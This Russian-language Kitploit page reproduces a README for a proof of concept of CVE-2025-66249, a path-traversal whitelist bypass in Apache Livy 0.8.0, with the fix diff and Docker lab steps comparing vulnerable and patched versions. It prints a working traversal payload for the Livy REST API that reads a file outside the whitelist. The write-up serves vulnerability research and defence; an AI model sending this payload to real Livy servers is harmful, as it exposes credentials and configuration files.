Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66249-POC — PoC для уязвимости обхода пути с обходом белого списка в Apache Livy | Kitploit
Инструменты/GitHubGitHub/sid6224/cve-2025-66249-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

PoC для уязвимости обхода пути с обходом белого списка в Apache Livy

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-66249 — Обход белого списка при обходе пути в Apache Livy

CVE Livy Severity CWE Type License Platform Language

Только для образовательных целей и исследований в области безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. → Полное предупреждение


Обзор

ПолеПодробности
CVE IDCVE-2025-66249
СерьезностьImportant (CVSS N/A — оценка NVD ожидается по состоянию на 2026-03-15)
ЗатронутыеApache Livy 0.3.0-incubating до 0.8.0-incubating — только когда livy.file.local-dir-whitelist имеет нестандартное значение
Исправлено вApache Livy 0.9.0-incubating
CWECWE-22: Некорректное ограничение пути к каталогу ('Path Traversal')
Опубликовано2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
СообщившийHiroki Egawa (обнаружитель)

Описание уязвимости

Аутентифицированный пользователь с доступом к REST- или JDBC-интерфейсу Livy может отправить сессию Spark или пакетное задание с поддельным значением пути к файлу, которое выходит за пределы разрешенного белого списка каталогов.

Коренная причина — обход проверки белого списка (Session.scala)

Когда livy.file.local-dir-whitelist настроен, Livy 0.8.0 проверяет отправленные пути, вызывая Java-метод String.startsWith() для сырого, ненормализованного пути. Эту проверку можно обойти с помощью последовательностей обхода ../:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

Сырая строка начинается с /opt/safe-data, поэтому проверка проходит — но путь разрешается в /opt/sensitive/secret.txt, который находится полностью вне белого списка каталогов.

Условие срабатывания: Уязвимость может быть эксплуатирована только если livy.file.local-dir-whitelist установлен в нестандартное (непустое) значение. Если белый список пуст (по умолчанию), проверка пути полностью пропускается, и проблема не проявляется.

Воздействие: Злоумышленник, отправляющий сессию через REST API Livy, может ссылаться на произвольные локальные файлы на хосте сервера Livy. В общем кластере аналитики это приводит к потенциальному раскрытию учетных данных, ключей, конфигурационных файлов или любых данных, читаемых пользователем процесса Livy.


Затронутые исходные файлы

Файл — Session.scala

Уязвимая версия (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Исправленная версия (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Исходный код — команды клонирования

Обе версии были клонированы напрямую из официального репозитория Apache Livy на GitHub с помощью следующих точных команд:

Репозиторий: https://github.com/apache/incubator-livy

root@kitploit:~
# Уязвимая версия — клонирована в ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Исправленная версия — клонирована в ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
ВерсияТегРазрешенный коммитЛокальный путь
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Точные различия кода

Исправление — Session.scala: Paths.get().normalize() перед проверкой белого списка

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Убедиться, что местоположение есть в белом списке, прежде чем разрешать добавление локальных файлов.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Воздействие в v0.8.0: Проверка startsWith на сырой строке может быть обойдена с помощью полезной нагрузки с обходом пути.

Пример: если livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (обход)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (заблокировано)

Различия получены клонированием обоих тегов локально (см. выше) и запуском:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Сводка вектора атаки

root@kitploit:~
Злоумышленник (аутентифицированный пользователь REST/JDBC)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← путь начинается с префикса белого списка — String.startsWith() проходит
    ← но разрешается ВНЕ каталога через обход ../

  }
}
    │
    ▼
Livy 0.8.0 — проверка белого списка обойдена (сырой startsWith, без нормализации)
    │
    ▼
Spark читает файл и распространяет его на исполнители
    │
    ▼
Злоумышленник получает содержимое файла через вывод задания / логи

Среда тестирования

Все шаги данного PoC были выполнены и проверены в следующей системе:

КомпонентПодробности
ОС хостаUbuntu 24.04.4 LTS (Noble Numbat)
Ядро6.17.0-14-generic x86_64
Архитектураx86_64
Общая память15 GiB
Docker Engine28.2.2
JDK хостаOpenJDK 17.0.18 (используется только хостом — контейнеры используют eclipse-temurin:11-jdk-focal)
Базовый образ контейнераeclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Версия Spark (оба образа)3.1.3 с Hadoop 3.2
Версия Livy — уязвимый образ0.8.0-incubating
Версия Livy — исправленный образ0.9.0-incubating

Структура каталогов

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Доказательство концепции (PoC)

Обзор

root@kitploit:~
docker/vulnerable/   →  образ: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  образ: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  единый скрипт, запускается без изменений в обеих средах

Полная последовательность от начала до конца — выполняйте шаги 1–4 по порядку:

root@kitploit:~
Шаг 1: Собрать уязвимый образ  →  запустить контейнер  →  убедиться, что Livy работает
Шаг 2: Запустить validate.sh   →  подтвердить УЯЗВИМОСТЬ (атака HTTP 201)   →  остановить контейнер
Шаг 3: Собрать исправленный образ  →  запустить контейнер  →  убедиться, что Livy работает
Шаг 4: Запустить validate.sh   →  подтвердить ИСПРАВЛЕНИЕ (атака HTTP 400)  →  остановить контейнер

Примечание: Livy требуется примерно 15–20 секунд для готовности после docker run. Все шаги ниже включают явный sleep 20 перед любым вызовом API.


Шаг 1 — Сборка и запуск уязвимой среды (Livy 0.8.0 + Spark 3.1.3)

Файлы:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — привязка к 0.0.0.0:8998, локальный режим, белый список = /opt/safe-data

1a. Сборка образа:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Проверка — образ создан:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Ожидаемый вывод:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Запуск контейнера:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Проверка — контейнер запущен:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Ожидаемый вывод:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Ожидание запуска Livy, затем проверка REST API:

Livy требуется ~15-20 секунд для инициализации перед обработкой запросов.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Ожидаемый вывод:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Проверка структуры каталогов внутри контейнера:

Подтвердите, что безопасный файл из белого списка существует:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Ожидаемый вывод:

root@kitploit:~
This file lives inside the whitelisted directory.

Подтвердите, что конфиденциальный файл находится вне белого списка:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Ожидаемый вывод:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Шаг 2 — Запуск проверки в уязвимой среде

Уязвимый контейнер из шага 1 должен все еще работать на порту 8998.

Что проверяет test/validate.sh:

№АтакаКлюч полезной нагрузкиОжидаемый результат на Livy 0.8.0
1Обход пути через String.startsWith() в Session.scalaspark.jars с обходом ../HTTP 201 — обход белого списка

2a. Запуск скрипта:

root@kitploit:~
bash test/validate.sh

Примечание: validate.sh работает следующим образом:

  1. Он опрашивает GET /sessions, пока Livy не ответит (до 60 секунд), подтверждая готовность сервера.
  2. Он отправляет запрос POST /sessions через curl с поддельной полезной нагрузкой conf, нацеленной на файл вне белого списка (/opt/sensitive/secret.txt) с использованием обхода ../.
  3. Он считывает код ответа HTTP: 201 означает, что Livy принял путь без нормализации (уязвим); 400 — Livy отклонил его после нормализации (исправлен).
  4. Если сессия была создана (HTTP 201), скрипт немедленно удаляет её через DELETE /sessions/{id}, чтобы поддерживать сервер в чистоте.
  5. После теста выводится сводка и завершение с кодом 1 (уязвим) или 0 (исправлен), что делает его пригодным для использования в автоматизированных конвейерах.

Ожидаемый вывод:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Остановка и удаление уязвимого контейнера:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Проверка — контейнер полностью удален:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Ожидаемый вывод (пусто — нет строк):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Шаг 3 — Сборка и запуск исправленной среды (Livy 0.9.0 + Spark 3.1.3)

Файлы:

  • docker/fixed/Dockerfile — идентичный базовый образ и Spark 3.1.3, изменяется только версия Livy на 0.9.0-incubating
  • docker/fixed/livy.conf — идентичен docker/vulnerable/livy.conf (тот же белый список, порт, режим)

Сохранение Spark, базового образа и всей конфигурации идентичными шагу 1 изолирует Livy как единственную переменную.

3a. Сборка образа:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Проверка — образ создан:

root@kitploit:~
docker images cve-2025-66249-fixed

Ожидаемый вывод:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Запуск контейнера:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Проверка — контейнер запущен:

root@kitploit:~
docker ps --filter name=livy-fixed

Ожидаемый вывод:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Ожидание запуска Livy, затем проверка REST API:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Ожидаемый вывод:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Проверка структуры каталогов внутри контейнера:

Исправленный контейнер использует идентичные тестовые данные уязвимому — это подтверждает, что единственная переменная между двумя средами — версия Livy.

Подтвердите, что безопасный файл из белого списка существует:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Ожидаемый вывод:

root@kitploit:~
This file lives inside the whitelisted directory.

Подтвердите, что конфиденциальный файл находится вне белого списка:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Ожидаемый вывод:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Шаг 4 — Запуск той же проверки в исправленной среде

Исправленный контейнер из шага 3 должен работать на порту 8998. Скрипт идентичен — никаких изменений.

Что меняется между шагом 2 и шагом 4:

  • Та же полезная нагрузка, тот же скрипт
  • Livy 0.9.0 теперь нормализует пути с помощью Paths.get().normalize() перед проверкой белого списка
  • Атака отклоняется с HTTP 400 до создания сессии

4a. Запуск скрипта:

root@kitploit:~
bash test/validate.sh

Ожидаемый вывод:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

Что подтверждает сообщение об ошибке:

АтакаHTTPСообщение об ошибкеИсправленная коренная причина
Обход пути через spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() добавлен в Session.scala; разрешает ../ перед сравнением с белым списком

4b. Остановка и удаление исправленного контейнера:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Проверка — контейнер полностью удален:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Ожидаемый вывод (пусто — нет строк):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Выводы

CVE-2025-66249 — это единая целенаправленная логическая ошибка в механизме принудительного применения белого списка, который защищает путь доступа к локальной файловой системе Livy.

Белый список (livy.file.local-dir-whitelist) существовал во всех затронутых версиях и был правильно настроен. Сбой заключался в том, как белый список интерпретировался:

Обход пути (единственная слабость): Сравнение с белым списком в Session.scala использовало Java-метод String.startsWith() на сырой строке пути. Этого недостаточно для сравнения путей файловой системы, поскольку не учитываются сегменты обхода ... Путь вида /opt/safe-data/../sensitive/secret.txt удовлетворяет строковой проверке на запись белого списка /opt/safe-data, но разрешается в местоположение, полностью вне его.

Исправление в версии 0.9.0 минимально и целенаправленно: один вызов Paths.get().normalize() добавляется перед сравнением с белым списком. Это разрешает все сегменты .. до выполнения проверки startsWith, поэтому полезная нагрузка с обходом пути корректно определяется как указывающая за пределы разрешенного каталога.

Ключевой вывод для защитников: Уязвимость эксплуатируема только тогда, когда livy.file.local-dir-whitelist установлен в непустое значение. Хотя это означает, что конфигурация по умолчанию напрямую не уязвима, любое развертывание, которое ужесточило белый список (т.е. явно ограничило каталоги, к которым Livy может получить доступ), парадоксальным образом оказывается подвержено — потому что именно наличие белого списка активирует ошибочный путь кода. Единственным полным исправлением является обновление до Livy 0.9.0-incubating.


Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec disclosure: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache mailing list: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy project: https://livy.apache.org/

Благодарности

  • Hiroki Egawa — первоначальный сообщивший о CVE-2025-66249 в команду безопасности Apache.
  • Сопровождающие Apache Livy — за оперативное сортирование и целенаправленное исправление в v0.9.0-incubating.
  • Команда безопасности Apache — за координацию процесса ответственного раскрытия.
  • Сообщество OSS-Sec — за публичную ветку раскрытия, сделавшую независимый анализ возможным.

Участие

Приветствуются улучшения этого PoC или документации! Пожалуйста, убедитесь, что любые вклады:

  • Следуют практике ответственного раскрытия
  • Включают соответствующие предупреждения
  • Не содержат вредоносного кода, кроме образовательной демонстрации
  • Сохраняют фокус на образовательной ценности

Для участия откройте pull request или создайте issue с описанием предлагаемого изменения.


Лицензия

Этот проект лицензирован под лицензией MIT.


Предупреждение

Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Доказательство концепции демонстрирует механику уязвимости для облегчения понимания и защитных мер. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.


Теги

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Скачать инструмент